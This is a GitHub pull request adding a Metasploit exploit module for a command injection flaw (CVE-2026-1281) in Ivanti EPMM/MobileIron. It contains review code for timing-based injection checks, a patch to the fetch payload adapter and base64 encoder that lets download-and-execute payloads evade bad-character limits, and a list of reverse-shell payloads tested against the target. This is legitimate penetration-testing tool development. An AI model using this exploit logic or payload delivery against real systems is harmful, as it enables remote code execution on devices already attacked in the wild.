Add exploit module for Ivant EPMM/MobileIron (CVE-2026-1281)#20932
Add exploit module for Ivant EPMM/MobileIron (CVE-2026-1281)#20932bwatters-r7 merged 4 commits intorapid7:masterfrom
Conversation
| begin_time = Time.now | ||
|
|
||
| # We use proof-of-execution in the form of a delay to confirm if a target is vulnerable. | ||
| res = execute_cmd("sleep #{sleep_seconds}") | ||
|
|
||
| end_time = Time.now |
There was a problem hiding this comment.
Timing like this in Ruby can be a little prone to gotchas in certain edge cases but we have a "stopwatch" function to account for this.
| begin_time = Time.now | |
| # We use proof-of-execution in the form of a delay to confirm if a target is vulnerable. | |
| res = execute_cmd("sleep #{sleep_seconds}") | |
| end_time = Time.now | |
| # We use proof-of-execution in the form of a delay to confirm if a target is vulnerable. | |
| res, elapsed_time = Rex::Stopwatch.elapsed_time do | |
| execute_cmd("sleep #{sleep_seconds}") | |
| end |
It may not get pulled in automatically, in which case you'll also want to add a require 'rex/stopwatch' at the top.
Fetch/Encoder issuesRegarding the fetch payloads not working, I dug in and now understand the issue. It is a confluence of three things:
The following patch address all three issues allowing fetch payloads to work successfully in the ivanti_epmm_rce module: NOTE: I have not committed this patch to this branch as it touches two core framework things (the fetch adapter and the base64 cmd encoder). So I think we need to review and understand the implications before making any changes here. diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb
index defe5a12db..689f1ae356 100644
--- a/lib/msf/core/payload/adapter/fetch.rb
+++ b/lib/msf/core/payload/adapter/fetch.rb
@@ -265,7 +265,8 @@ module Msf::Payload::Adapter::Fetch
cmds = get_file_cmd
cmds << ";chmod +x #{_remote_destination_nix}"
- cmds << ";#{_remote_destination_nix}&"
+ # NOTE: Some shells expect a space character before the ampersand token (seen on an Ivanti MobileIron 11.2 device).
+ cmds << ";#{_remote_destination_nix} &"
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
cmds
end
diff --git a/modules/encoders/cmd/base64.rb b/modules/encoders/cmd/base64.rb
index f4f771a194..0dd8a881c6 100644
--- a/modules/encoders/cmd/base64.rb
+++ b/modules/encoders/cmd/base64.rb
@@ -39,13 +39,19 @@ class MetasploitModule < Msf::Encoder
def encode_block(state, buf)
return buf if (buf.bytes & state.badchars.bytes).empty?
- raise EncodingError if (state.badchars.bytes & BASE64_BYTES).any?
raise EncodingError if state.badchars.include?('-')
ifs_encode_spaces = state.badchars.include?(' ')
raise EncodingError if ifs_encode_spaces && (state.badchars.bytes & '${}'.bytes).any?
base64_buf = Base64.strict_encode64(buf)
+
+ # NOTE: Rather than testing the bad chars against BASE64_BYTES, which is every potential base64 bad char, we encode
+ # our input buf and test the subset of BASE64_BYTES that are actually present. This is more opportunistic and likely
+ # to succeed when less common base64 characters like / are in the bad char list. When the input is ASCII (i.e. an OS
+ # command) rather than binary, it is less likely that the base64 output will contain a character like / or +.
+ raise EncodingError if (state.badchars.bytes & base64_buf.bytes).any?
+
case datastore['Base64Decoder']
when 'base64'
raise EncodingError if (state.badchars.bytes & '(|)'.bytes).any?
diff --git a/modules/exploits/linux/http/ivanti_epmm_rce.rb b/modules/exploits/linux/http/ivanti_epmm_rce.rb
index 8353455eca..6c6b86ba1b 100644
--- a/modules/exploits/linux/http/ivanti_epmm_rce.rb
+++ b/modules/exploits/linux/http/ivanti_epmm_rce.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
# Successfully tested with the following payloads against MobileIron 11.2:
# cmd/unix/reverse_bash
# cmd/unix/reverse_netcat
- # NOTE: The Linux fetch payloads did not work on MobileIron 11.2, YMMV on later product versions.
+ # cmd/linux/http/x64/meterpreter_reverse_tcp
'Default', {
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
@@ -53,7 +53,8 @@ class MetasploitModule < Msf::Exploit::Remote
],
],
'Payload' => {
- 'BadChars' => '`'
+ 'BadChars' => '`/',
+ 'Encoder' => 'cmd/base64'
},
'DefaultTarget' => 0,
'DefaultOptions' => {ExampleIf we apply the above patch we can get a meterpreter session: |
|
Yes, the space before the |
|
Super, thanks @bwatters-r7 appreciate you reviewing the fetch/encoder suggestions. If those encoder/fetch changes do get landed at some point, we will need to update this modules |
|
Release NotesAdds an exploit module for the recent command injection vulnerability, CVE-2026-1281, affecting Ivanti Endpoint Manager Mobile (EPMM), formerly known as MobileIron. Exploited in-the-wild as a zero-day by an unknown threat actor. |
Overview
This pull request adds an exploit module for the recent command injection vulnerability, CVE-2026-1281, affecting Ivanti Endpoint Manager Mobile (EPMM), formerly known as MobileIron. Exploited in-the-wild as a zero-day by an unknown threat actor.
watchTowr published a great analysis and PoC here, and this module is based upon that.
Example
I have a very old MobileIron 11.2 VM I tested this against.